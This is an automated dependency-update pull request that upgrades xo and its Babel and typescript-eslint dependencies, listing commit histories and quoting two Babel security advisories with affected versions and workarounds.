๐จ [security] Update xo 0.44.0 โ 2.0.2 (major)
๐จ Your current dependencies have known security vulnerabilities ๐จ
This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!
Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.
What changed?
โณ๏ธ xo (0.44.0 โ 2.0.2) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ @โbabel/code-frame (indirect, 7.12.11 โ 7.29.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 15 commits:
v7.29.0fix(parser): correctly parse type assertions in `extends` clause (#17765)[7.x backport] feat: Allow specifying startLine in code frame (#17739)Move changelog up to v7.28.5 to separate file (#17754)[7.x backport] Add attributes import declaration builder (#17750)fix(traverse): provide a hub when traversing a File or Program and no parentPath is given (#17708)[7.x backport] fix: Rename switch discriminant references when body creates shadowing variable (#17737)[7.x backport] fix(parser): improve super type argument parsing (#17723)[7.x backport] feat(standalone): export async transform (#17663)Update polyfill packages (#17727)[7.x backport] feat: read standalone targets from data-targets (#17725)[babel 7] Delete Babel 8 fixtures (#17729)chore(Babel 7): ignore browserslist old data (#17724)[Babel 7] Improve generator performance (#17642)Add v7.28.6 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/compat-data (indirect, 7.15.0 โ 7.29.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 15 commits:
v7.29.0fix(parser): correctly parse type assertions in `extends` clause (#17765)[7.x backport] feat: Allow specifying startLine in code frame (#17739)Move changelog up to v7.28.5 to separate file (#17754)[7.x backport] Add attributes import declaration builder (#17750)fix(traverse): provide a hub when traversing a File or Program and no parentPath is given (#17708)[7.x backport] fix: Rename switch discriminant references when body creates shadowing variable (#17737)[7.x backport] fix(parser): improve super type argument parsing (#17723)[7.x backport] feat(standalone): export async transform (#17663)Update polyfill packages (#17727)[7.x backport] feat: read standalone targets from data-targets (#17725)[babel 7] Delete Babel 8 fixtures (#17729)chore(Babel 7): ignore browserslist old data (#17724)[Babel 7] Improve generator performance (#17642)Add v7.28.6 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/core (indirect, 7.15.0 โ 7.29.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 15 commits:
v7.29.0fix(parser): correctly parse type assertions in `extends` clause (#17765)[7.x backport] feat: Allow specifying startLine in code frame (#17739)Move changelog up to v7.28.5 to separate file (#17754)[7.x backport] Add attributes import declaration builder (#17750)fix(traverse): provide a hub when traversing a File or Program and no parentPath is given (#17708)[7.x backport] fix: Rename switch discriminant references when body creates shadowing variable (#17737)[7.x backport] fix(parser): improve super type argument parsing (#17723)[7.x backport] feat(standalone): export async transform (#17663)Update polyfill packages (#17727)[7.x backport] feat: read standalone targets from data-targets (#17725)[babel 7] Delete Babel 8 fixtures (#17729)chore(Babel 7): ignore browserslist old data (#17724)[Babel 7] Improve generator performance (#17642)Add v7.28.6 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/generator (indirect, 7.15.0 โ 7.29.1) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 4 commits:
โ๏ธ @โbabel/helper-compilation-targets (indirect, 7.15.0 โ 7.28.6) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 43 commits:
v7.28.6Remove Babel 8 from Babel 7 CI (#17675)Update test262 (#17628)Add script to materialize itBabel8&co in tests (#17623)[babel 8] Remove `@babel/types` dep from helper-builder-react-jsx (#17621)Polish(standalone): improve message on invalid preset/plugin (#17606)[babel 8] Rename `TSImportType.argument` to `.source` (#17610)Add script to remove Babel 7 tests (#17616)Run transform-runtime tests also in Babel 8 (#17615)fix: lint errors in main branch (#17612)Update test262 (#17614)fix: `path.evaluate` correctly returns `confident` (#17584)[babel 8] Fully remove import assertions (#17603)chore: Use Gulpfile.mts (#17579)[Babel 8] fix: Improve `traverse` types (#17574)Allow Babel 8 in compatible Babel 7 plugins (#17580)Add logic to materialize Babel 8 in source (#17605)chore: add node 24 to the matrix (#17607)chore: enable some ts-eslint rules (#17592)Update Babel (#17604)fix: add typings for eslint-plugin-development (#17587)Record and tuple cleanup (#17597)perf: remove redundant set in jsx meta visit (#17598)test: install browser-playwright (#17599)Update compat data (#17600)Update test262 (#17601)[Babel 8]: Bump glob to v12 (#17594)Improve Unicode handling in code-frame tokenizer (#17589)Update test262 (#17588)[Babel 8] chore: bump glob to v11 (#17590)fix: Preserve computed key evaluation order in nested object rest (#17576)Add `BABEL_7_TO_8_DANGEROUSLY_DISABLE_VERSION_CHECK` (#17569)fix: `transform-regenerator` correctly handles scope (#17556)fix: Update CONTRIBUTING.md to require node >=22.18.0 (#17585)Update test262 (#17583)Use `eslint.config.mts` (#17573)Fix traverse NodePath caching (#17568)fix: Keep jsx comments (#17538)[Babel 8] fix: Correctly handle export references (#17570)Update test262 (#17564)perf: Use lighter traversal for jsx `__source,__self` (#17555)Fully remove Records and Tuples support (#17528)Add v7.28.5 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/helper-module-imports (indirect, 7.14.5 โ 7.28.6) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 43 commits:
v7.28.6Remove Babel 8 from Babel 7 CI (#17675)Update test262 (#17628)Add script to materialize itBabel8&co in tests (#17623)[babel 8] Remove `@babel/types` dep from helper-builder-react-jsx (#17621)Polish(standalone): improve message on invalid preset/plugin (#17606)[babel 8] Rename `TSImportType.argument` to `.source` (#17610)Add script to remove Babel 7 tests (#17616)Run transform-runtime tests also in Babel 8 (#17615)fix: lint errors in main branch (#17612)Update test262 (#17614)fix: `path.evaluate` correctly returns `confident` (#17584)[babel 8] Fully remove import assertions (#17603)chore: Use Gulpfile.mts (#17579)[Babel 8] fix: Improve `traverse` types (#17574)Allow Babel 8 in compatible Babel 7 plugins (#17580)Add logic to materialize Babel 8 in source (#17605)chore: add node 24 to the matrix (#17607)chore: enable some ts-eslint rules (#17592)Update Babel (#17604)fix: add typings for eslint-plugin-development (#17587)Record and tuple cleanup (#17597)perf: remove redundant set in jsx meta visit (#17598)test: install browser-playwright (#17599)Update compat data (#17600)Update test262 (#17601)[Babel 8]: Bump glob to v12 (#17594)Improve Unicode handling in code-frame tokenizer (#17589)Update test262 (#17588)[Babel 8] chore: bump glob to v11 (#17590)fix: Preserve computed key evaluation order in nested object rest (#17576)Add `BABEL_7_TO_8_DANGEROUSLY_DISABLE_VERSION_CHECK` (#17569)fix: `transform-regenerator` correctly handles scope (#17556)fix: Update CONTRIBUTING.md to require node >=22.18.0 (#17585)Update test262 (#17583)Use `eslint.config.mts` (#17573)Fix traverse NodePath caching (#17568)fix: Keep jsx comments (#17538)[Babel 8] fix: Correctly handle export references (#17570)Update test262 (#17564)perf: Use lighter traversal for jsx `__source,__self` (#17555)Fully remove Records and Tuples support (#17528)Add v7.28.5 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/helper-module-transforms (indirect, 7.15.0 โ 7.28.6) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 43 commits:
v7.28.6Remove Babel 8 from Babel 7 CI (#17675)Update test262 (#17628)Add script to materialize itBabel8&co in tests (#17623)[babel 8] Remove `@babel/types` dep from helper-builder-react-jsx (#17621)Polish(standalone): improve message on invalid preset/plugin (#17606)[babel 8] Rename `TSImportType.argument` to `.source` (#17610)Add script to remove Babel 7 tests (#17616)Run transform-runtime tests also in Babel 8 (#17615)fix: lint errors in main branch (#17612)Update test262 (#17614)fix: `path.evaluate` correctly returns `confident` (#17584)[babel 8] Fully remove import assertions (#17603)chore: Use Gulpfile.mts (#17579)[Babel 8] fix: Improve `traverse` types (#17574)Allow Babel 8 in compatible Babel 7 plugins (#17580)Add logic to materialize Babel 8 in source (#17605)chore: add node 24 to the matrix (#17607)chore: enable some ts-eslint rules (#17592)Update Babel (#17604)fix: add typings for eslint-plugin-development (#17587)Record and tuple cleanup (#17597)perf: remove redundant set in jsx meta visit (#17598)test: install browser-playwright (#17599)Update compat data (#17600)Update test262 (#17601)[Babel 8]: Bump glob to v12 (#17594)Improve Unicode handling in code-frame tokenizer (#17589)Update test262 (#17588)[Babel 8] chore: bump glob to v11 (#17590)fix: Preserve computed key evaluation order in nested object rest (#17576)Add `BABEL_7_TO_8_DANGEROUSLY_DISABLE_VERSION_CHECK` (#17569)fix: `transform-regenerator` correctly handles scope (#17556)fix: Update CONTRIBUTING.md to require node >=22.18.0 (#17585)Update test262 (#17583)Use `eslint.config.mts` (#17573)Fix traverse NodePath caching (#17568)fix: Keep jsx comments (#17538)[Babel 8] fix: Correctly handle export references (#17570)Update test262 (#17564)perf: Use lighter traversal for jsx `__source,__self` (#17555)Fully remove Records and Tuples support (#17528)Add v7.28.5 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/helper-validator-identifier (indirect, 7.14.9 โ 7.28.5) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 48 commits:
v7.28.5Add v8.0.0-beta.3 to .github/CHANGELOG-v8.md [skip ci]Bump Babel 8 version to 8.0.0-beta.3Update Yarn (#17561)Update plugin-babel-release-tool (#17560)Use Node.js latest for release action (#17559)Do not pass npm token when trusted publishing (#17557)Try trusted publishing (#17551)Allow mixing private destructuring and rest (#17534)Improve `@babel/core` types (#17404)Update test262 (#17546)Update compat data (#17549)docs: edited broken badges (#17550)Fix Prettier e2e test for Babel 8 (#17539)Enable `strictNullChecks` for `traverse` (#17499)Improve `@babel/parser` error typing (#17521)chore: Fix typo in variable name (#17535)fix: `require.resolve` unexpectedly resolves to `.mjs` (#17533)Update test262 (#17536)ci: remove jest from Babel 7 e2e test suites (#17532)Type check runtime scripts (#17522)[Babel 8] Improve scope information collection performance (#17043)Update test262 (#17527)Enable `strictNullChecks` for `parser` (#17498)[Babel 8] Use `t.traverseFast` to replace some `path.traverse` (#17518)chore: simplify parseArrayLike (#17526)fix: `rest` correctly returns plain array (#17519)Run Prettier E2E test only on Babel 8 (#17523)Update test262 (#17516)Update compat data (#17515)Allow `Runtime Errors for Function Call Assignment Targets` (#17446)[babel 8] Update default `@babel/runtime` version (#17512)[babel 8] Remove `semver` dependency from transform-runtime (#17511)[Babel 8] Treat `allowSuperOutsideMethod` as top-level only (#17505)Faster finding of locations in `buildCodeFrameError` (#17490)Enable `strictNullChecks` for `generator` (#17497)[Babel 8] Better node type definitions for `computed` (#17500)Update compat data (#17508)Update test262 (#17509)Bump regexpu-core to 6.3.1 (#17507)Update identifier parsing to unicode 17 (#17501)fix: improve ts-only declaration parsing (#17491)Fix `JSXIdentifier` handling in `isReferencedIdentifier` (#17503)fix: ensure scope.push register in anonymous fn (#17504)Type checking babel-types scripts (#17494)Add v8.0.0-beta.2 to .github/CHANGELOG-v8.md [skip ci]Bump Babel 8 version to 8.0.0-beta.2Add v7.28.4 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/helpers (indirect, 7.14.8 โ 7.28.6) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Babel has inefficient RegExp complexity in generated code with .replace when transpiling named capturing groups
Impact
When using Babel to compile regular expression named capturing groups, Babel will generate a polyfill for the
.replacemethod that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to.replace).Your generated code is vulnerable if all the following conditions are true:
- You use Babel to compile regular expression named capturing groups
- You use the
.replacemethod on a regular expression that contains named capturing groups- Your code uses untrusted strings as the second argument of
.replaceIf you are using
@babel/preset-envwith thetargetsoption, the transform that injects the vulnerable code is automatically enabled if:
- you use duplicated named capturing groups, and target any browser older than Chrome/Edge 126, Opera 112, Firefox 129, Safari 17.4, or Node.js 23
- you use any named capturing groups, and target any browser older than Chrome 64, Opera 71, Edge 79, Firefox 78, Safari 11.1, or Node.js 10
You can verify what transforms
@babel/preset-envis using by enabling thedebugoption.Patches
This problem has been fixed in
@babel/helpersand@babel/runtime7.26.10 and 8.0.0-alpha.17, please upgrade. It's likely that you do not directly depend on@babel/helpers, and instead you depend on@babel/core(which itself depends on@babel/helpers). Upgrading to@babel/core7.26.10 is not required, but it guarantees that you are on a new enough@babel/helpersversion.Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code.
Workarounds
If you are passing user-provided strings as the second argument of
.replaceon regular expressions that contain named capturing groups, validate the input and make sure it does not contain the substring$<if it's then not followed by>(possibly with other characters in between).References
This vulnerability was reported and fixed in #17173.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 43 commits:
v7.28.6Remove Babel 8 from Babel 7 CI (#17675)Update test262 (#17628)Add script to materialize itBabel8&co in tests (#17623)[babel 8] Remove `@babel/types` dep from helper-builder-react-jsx (#17621)Polish(standalone): improve message on invalid preset/plugin (#17606)[babel 8] Rename `TSImportType.argument` to `.source` (#17610)Add script to remove Babel 7 tests (#17616)Run transform-runtime tests also in Babel 8 (#17615)fix: lint errors in main branch (#17612)Update test262 (#17614)fix: `path.evaluate` correctly returns `confident` (#17584)[babel 8] Fully remove import assertions (#17603)chore: Use Gulpfile.mts (#17579)[Babel 8] fix: Improve `traverse` types (#17574)Allow Babel 8 in compatible Babel 7 plugins (#17580)Add logic to materialize Babel 8 in source (#17605)chore: add node 24 to the matrix (#17607)chore: enable some ts-eslint rules (#17592)Update Babel (#17604)fix: add typings for eslint-plugin-development (#17587)Record and tuple cleanup (#17597)perf: remove redundant set in jsx meta visit (#17598)test: install browser-playwright (#17599)Update compat data (#17600)Update test262 (#17601)[Babel 8]: Bump glob to v12 (#17594)Improve Unicode handling in code-frame tokenizer (#17589)Update test262 (#17588)[Babel 8] chore: bump glob to v11 (#17590)fix: Preserve computed key evaluation order in nested object rest (#17576)Add `BABEL_7_TO_8_DANGEROUSLY_DISABLE_VERSION_CHECK` (#17569)fix: `transform-regenerator` correctly handles scope (#17556)fix: Update CONTRIBUTING.md to require node >=22.18.0 (#17585)Update test262 (#17583)Use `eslint.config.mts` (#17573)Fix traverse NodePath caching (#17568)fix: Keep jsx comments (#17538)[Babel 8] fix: Correctly handle export references (#17570)Update test262 (#17564)perf: Use lighter traversal for jsx `__source,__self` (#17555)Fully remove Records and Tuples support (#17528)Add v7.28.5 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/parser (indirect, 7.15.2 โ 7.29.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 15 commits:
v7.29.0fix(parser): correctly parse type assertions in `extends` clause (#17765)[7.x backport] feat: Allow specifying startLine in code frame (#17739)Move changelog up to v7.28.5 to separate file (#17754)[7.x backport] Add attributes import declaration builder (#17750)fix(traverse): provide a hub when traversing a File or Program and no parentPath is given (#17708)[7.x backport] fix: Rename switch discriminant references when body creates shadowing variable (#17737)[7.x backport] fix(parser): improve super type argument parsing (#17723)[7.x backport] feat(standalone): export async transform (#17663)Update polyfill packages (#17727)[7.x backport] feat: read standalone targets from data-targets (#17725)[babel 7] Delete Babel 8 fixtures (#17729)chore(Babel 7): ignore browserslist old data (#17724)[Babel 7] Improve generator performance (#17642)Add v7.28.6 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/template (indirect, 7.14.5 โ 7.28.6) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 43 commits:
v7.28.6Remove Babel 8 from Babel 7 CI (#17675)Update test262 (#17628)Add script to materialize itBabel8&co in tests (#17623)[babel 8] Remove `@babel/types` dep from helper-builder-react-jsx (#17621)Polish(standalone): improve message on invalid preset/plugin (#17606)[babel 8] Rename `TSImportType.argument` to `.source` (#17610)Add script to remove Babel 7 tests (#17616)Run transform-runtime tests also in Babel 8 (#17615)fix: lint errors in main branch (#17612)Update test262 (#17614)fix: `path.evaluate` correctly returns `confident` (#17584)[babel 8] Fully remove import assertions (#17603)chore: Use Gulpfile.mts (#17579)[Babel 8] fix: Improve `traverse` types (#17574)Allow Babel 8 in compatible Babel 7 plugins (#17580)Add logic to materialize Babel 8 in source (#17605)chore: add node 24 to the matrix (#17607)chore: enable some ts-eslint rules (#17592)Update Babel (#17604)fix: add typings for eslint-plugin-development (#17587)Record and tuple cleanup (#17597)perf: remove redundant set in jsx meta visit (#17598)test: install browser-playwright (#17599)Update compat data (#17600)Update test262 (#17601)[Babel 8]: Bump glob to v12 (#17594)Improve Unicode handling in code-frame tokenizer (#17589)Update test262 (#17588)[Babel 8] chore: bump glob to v11 (#17590)fix: Preserve computed key evaluation order in nested object rest (#17576)Add `BABEL_7_TO_8_DANGEROUSLY_DISABLE_VERSION_CHECK` (#17569)fix: `transform-regenerator` correctly handles scope (#17556)fix: Update CONTRIBUTING.md to require node >=22.18.0 (#17585)Update test262 (#17583)Use `eslint.config.mts` (#17573)Fix traverse NodePath caching (#17568)fix: Keep jsx comments (#17538)[Babel 8] fix: Correctly handle export references (#17570)Update test262 (#17564)perf: Use lighter traversal for jsx `__source,__self` (#17555)Fully remove Records and Tuples support (#17528)Add v7.28.5 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/traverse (indirect, 7.15.0 โ 7.29.0) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Babel vulnerable to arbitrary code execution when compiling specifically crafted malicious code
Impact
Using Babel to compile code that was specifically crafted by an attacker can lead to arbitrary code execution during compilation, when using plugins that rely on the
path.evaluate()orpath.evaluateTruthy()internal Babel methods.Known affected plugins are:
@babel/plugin-transform-runtime@babel/preset-envwhen using itsuseBuiltInsoption- Any "polyfill provider" plugin that depends on
@babel/helper-define-polyfill-provider, such asbabel-plugin-polyfill-corejs3,babel-plugin-polyfill-corejs2,babel-plugin-polyfill-es-shims,babel-plugin-polyfill-regeneratorNo other plugins under the
@babel/namespace are impacted, but third-party plugins might be.Users that only compile trusted code are not impacted.
Patches
The vulnerability has been fixed in
@babel/traverse@7.23.2.Babel 6 does not receive security fixes anymore (see Babel's security policy), hence there is no patch planned for
babel-traverse@6.Workarounds
- Upgrade
@babel/traverseto v7.23.2 or higher. You can do this by deleting it from your package manager's lockfile and re-installing the dependencies.@babel/core>=7.23.2 will automatically pull in a non-vulnerable version.- If you cannot upgrade
@babel/traverseand are using one of the affected packages mentioned above, upgrade them to their latest version to avoid triggering the vulnerable code path in affected@babel/traverseversions:
@babel/plugin-transform-runtimev7.23.2@babel/preset-envv7.23.2@babel/helper-define-polyfill-providerv0.4.3babel-plugin-polyfill-corejs2v0.4.6babel-plugin-polyfill-corejs3v0.8.5babel-plugin-polyfill-es-shimsv0.10.0babel-plugin-polyfill-regeneratorv0.5.3
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 15 commits:
v7.29.0fix(parser): correctly parse type assertions in `extends` clause (#17765)[7.x backport] feat: Allow specifying startLine in code frame (#17739)Move changelog up to v7.28.5 to separate file (#17754)[7.x backport] Add attributes import declaration builder (#17750)fix(traverse): provide a hub when traversing a File or Program and no parentPath is given (#17708)[7.x backport] fix: Rename switch discriminant references when body creates shadowing variable (#17737)[7.x backport] fix(parser): improve super type argument parsing (#17723)[7.x backport] feat(standalone): export async transform (#17663)Update polyfill packages (#17727)[7.x backport] feat: read standalone targets from data-targets (#17725)[babel 7] Delete Babel 8 fixtures (#17729)chore(Babel 7): ignore browserslist old data (#17724)[Babel 7] Improve generator performance (#17642)Add v7.28.6 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/types (indirect, 7.15.0 โ 7.29.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 15 commits:
v7.29.0fix(parser): correctly parse type assertions in `extends` clause (#17765)[7.x backport] feat: Allow specifying startLine in code frame (#17739)Move changelog up to v7.28.5 to separate file (#17754)[7.x backport] Add attributes import declaration builder (#17750)fix(traverse): provide a hub when traversing a File or Program and no parentPath is given (#17708)[7.x backport] fix: Rename switch discriminant references when body creates shadowing variable (#17737)[7.x backport] fix(parser): improve super type argument parsing (#17723)[7.x backport] feat(standalone): export async transform (#17663)Update polyfill packages (#17727)[7.x backport] feat: read standalone targets from data-targets (#17725)[babel 7] Delete Babel 8 fixtures (#17729)chore(Babel 7): ignore browserslist old data (#17724)[Babel 7] Improve generator performance (#17642)Add v7.28.6 to CHANGELOG.md [skip ci]
โ๏ธ @โeslint/eslintrc (indirect, 0.4.3 โ 3.3.5) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
โ๏ธ @โtypes/eslint (indirect, 7.28.0 โ 9.6.1) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/estree (indirect, 0.0.50 โ 1.0.8) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/json-schema (indirect, 7.0.9 โ 7.0.15) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypescript-eslint/eslint-plugin (indirect, 4.29.1 โ 8.57.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 21 commits:
chore(release): publish 8.57.0chore(website): enable `fixedOverflowWidgets` in editor settings (#12115)docs(eslint-plugin): document no-unnecessary-condition limitation with object types (#12111)chore: use pnpm catalog (#12047)chore(deps): update dependency @eslint-community/eslint-plugin-eslint-comments to v4.7.0 (#12113)fix(eslint-plugin): [no-base-to-string] fix false positive for toString with overloads (#12089)test: correct snapshotfix(eslint-plugin): [prefer-promise-reject-errors] add allow `TypeOrValueSpecifier` to prefer-promise-reject-errors (#12094)fix(typescript-estree): if the template literal is tagged and the text has an invalid escape, `cooked` will be `null` (#11355)chore: shard eslint-plugin tests (#12082)docs: minor grammar adjustment (#12112)fix(eslint-plugin): guard against negative paramIndex in no-useless-default-assignment (#12077)fix(eslint-plugin): handle statically analyzable computed keys in prefer-readonly (#12079)chore(deps): update dependency typedoc-plugin-markdown to v4.10.0 (#12060)chore(deps): update dependency eslint-plugin-perfectionist to v5.6.0 (#12054)fix(eslint-plugin): [strict-void-return] false positives with overloads (#12055)fix(typescript-estree): switch back to use `ts.getModifiers()` (#12034)chore(deps): update dependency @microsoft/api-extractor to v7.57.6 (#12087)docs: use `defineConfig` in "How to use" (#12108)feat(eslint-plugin): [no-unnecessary-condition] allow literal loop conditions in for/do loops (#12080)chore: update vitest to 4.x (#12071)
โ๏ธ @โtypescript-eslint/parser (indirect, 4.29.1 โ 8.57.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 21 commits:
chore(release): publish 8.57.0chore(website): enable `fixedOverflowWidgets` in editor settings (#12115)docs(eslint-plugin): document no-unnecessary-condition limitation with object types (#12111)chore: use pnpm catalog (#12047)chore(deps): update dependency @eslint-community/eslint-plugin-eslint-comments to v4.7.0 (#12113)fix(eslint-plugin): [no-base-to-string] fix false positive for toString with overloads (#12089)test: correct snapshotfix(eslint-plugin): [prefer-promise-reject-errors] add allow `TypeOrValueSpecifier` to prefer-promise-reject-errors (#12094)fix(typescript-estree): if the template literal is tagged and the text has an invalid escape, `cooked` will be `null` (#11355)chore: shard eslint-plugin tests (#12082)docs: minor grammar adjustment (#12112)fix(eslint-plugin): guard against negative paramIndex in no-useless-default-assignment (#12077)fix(eslint-plugin): handle statically analyzable computed keys in prefer-readonly (#12079)chore(deps): update dependency typedoc-plugin-markdown to v4.10.0 (#12060)chore(deps): update dependency eslint-plugin-perfectionist to v5.6.0 (#12054)fix(eslint-plugin): [strict-void-return] false positives with overloads (#12055)fix(typescript-estree): switch back to use `ts.getModifiers()` (#12034)chore(deps): update dependency @microsoft/api-extractor to v7.57.6 (#12087)docs: use `defineConfig` in "How to use" (#12108)feat(eslint-plugin): [no-unnecessary-condition] allow literal loop conditions in for/do loops (#12080)chore: update vitest to 4.x (#12071)
โ๏ธ @โtypescript-eslint/scope-manager (indirect, 4.29.1 โ 8.57.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 21 commits:
chore(release): publish 8.57.0chore(website): enable `fixedOverflowWidgets` in editor settings (#12115)docs(eslint-plugin): document no-unnecessary-condition limitation with object types (#12111)chore: use pnpm catalog (#12047)chore(deps): update dependency @eslint-community/eslint-plugin-eslint-comments to v4.7.0 (#12113)fix(eslint-plugin): [no-base-to-string] fix false positive for toString with overloads (#12089)test: correct snapshotfix(eslint-plugin): [prefer-promise-reject-errors] add allow `TypeOrValueSpecifier` to prefer-promise-reject-errors (#12094)fix(typescript-estree): if the template literal is tagged and the text has an invalid escape, `cooked` will be `null` (#11355)chore: shard eslint-plugin tests (#12082)docs: minor grammar adjustment (#12112)fix(eslint-plugin): guard against negative paramIndex in no-useless-default-assignment (#12077)fix(eslint-plugin): handle statically analyzable computed keys in prefer-readonly (#12079)chore(deps): update dependency typedoc-plugin-markdown to v4.10.0 (#12060)chore(deps): update dependency eslint-plugin-perfectionist to v5.6.0 (#12054)fix(eslint-plugin): [strict-void-return] false positives with overloads (#12055)fix(typescript-estree): switch back to use `ts.getModifiers()` (#12034)chore(deps): update dependency @microsoft/api-extractor to v7.57.6 (#12087)docs: use `defineConfig` in "How to use" (#12108)feat(eslint-plugin): [no-unnecessary-condition] allow literal loop conditions in for/do loops (#12080)chore: update vitest to 4.x (#12071)
โ๏ธ @โtypescript-eslint/types (indirect, 4.29.1 โ 8.57.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 21 commits:
chore(release): publish 8.57.0chore(website): enable `fixedOverflowWidgets` in editor settings (#12115)docs(eslint-plugin): document no-unnecessary-condition limitation with object types (#12111)chore: use pnpm catalog (#12047)chore(deps): update dependency @eslint-community/eslint-plugin-eslint-comments to v4.7.0 (#12113)fix(eslint-plugin): [no-base-to-string] fix false positive for toString with overloads (#12089)test: correct snapshotfix(eslint-plugin): [prefer-promise-reject-errors] add allow `TypeOrValueSpecifier` to prefer-promise-reject-errors (#12094)fix(typescript-estree): if the template literal is tagged and the text has an invalid escape, `cooked` will be `null` (#11355)chore: shard eslint-plugin tests (#12082)docs: minor grammar adjustment (#12112)fix(eslint-plugin): guard against negative paramIndex in no-useless-default-assignment (#12077)fix(eslint-plugin): handle statically analyzable computed keys in prefer-readonly (#12079)chore(deps): update dependency typedoc-plugin-markdown to v4.10.0 (#12060)chore(deps): update dependency eslint-plugin-perfectionist to v5.6.0 (#12054)fix(eslint-plugin): [strict-void-return] false positives with overloads (#12055)fix(typescript-estree): switch back to use `ts.getModifiers()` (#12034)chore(deps): update dependency @microsoft/api-extractor to v7.57.6 (#12087)docs: use `defineConfig` in "How to use" (#12108)feat(eslint-plugin): [no-unnecessary-condition] allow literal loop conditions in for/do loops (#12080)chore: update vitest to 4.x (#12071)
โ๏ธ @โtypescript-eslint/typescript-estree (indirect, 4.29.1 โ 8.57.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 21 commits:
chore(release): publish 8.57.0chore(website): enable `fixedOverflowWidgets` in editor settings (#12115)docs(eslint-plugin): document no-unnecessary-condition limitation with object types (#12111)chore: use pnpm catalog (#12047)chore(deps): update dependency @eslint-community/eslint-plugin-eslint-comments to v4.7.0 (#12113)fix(eslint-plugin): [no-base-to-string] fix false positive for toString with overloads (#12089)test: correct snapshotfix(eslint-plugin): [prefer-promise-reject-errors] add allow `TypeOrValueSpecifier` to prefer-promise-reject-errors (#12094)fix(typescript-estree): if the template literal is tagged and the text has an invalid escape, `cooked` will be `null` (#11355)chore: shard eslint-plugin tests (#12082)docs: minor grammar adjustment (#12112)fix(eslint-plugin): guard against negative paramIndex in no-useless-default-assignment (#12077)fix(eslint-plugin): handle statically analyzable computed keys in prefer-readonly (#12079)chore(deps): update dependency typedoc-plugin-markdown to v4.10.0 (#12060)chore(deps): update dependency eslint-plugin-perfectionist to v5.6.0 (#12054)fix(eslint-plugin): [strict-void-return] false positives with overloads (#12055)fix(typescript-estree): switch back to use `ts.getModifiers()` (#12034)chore(deps): update dependency @microsoft/api-extractor to v7.57.6 (#12087)docs: use `defineConfig` in "How to use" (#12108)feat(eslint-plugin): [no-unnecessary-condition] allow literal loop conditions in for/do loops (#12080)chore: update vitest to 4.x (#12071)
โ๏ธ @โtypescript-eslint/visitor-keys (indirect, 4.29.1 โ 8.57.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 21 commits:
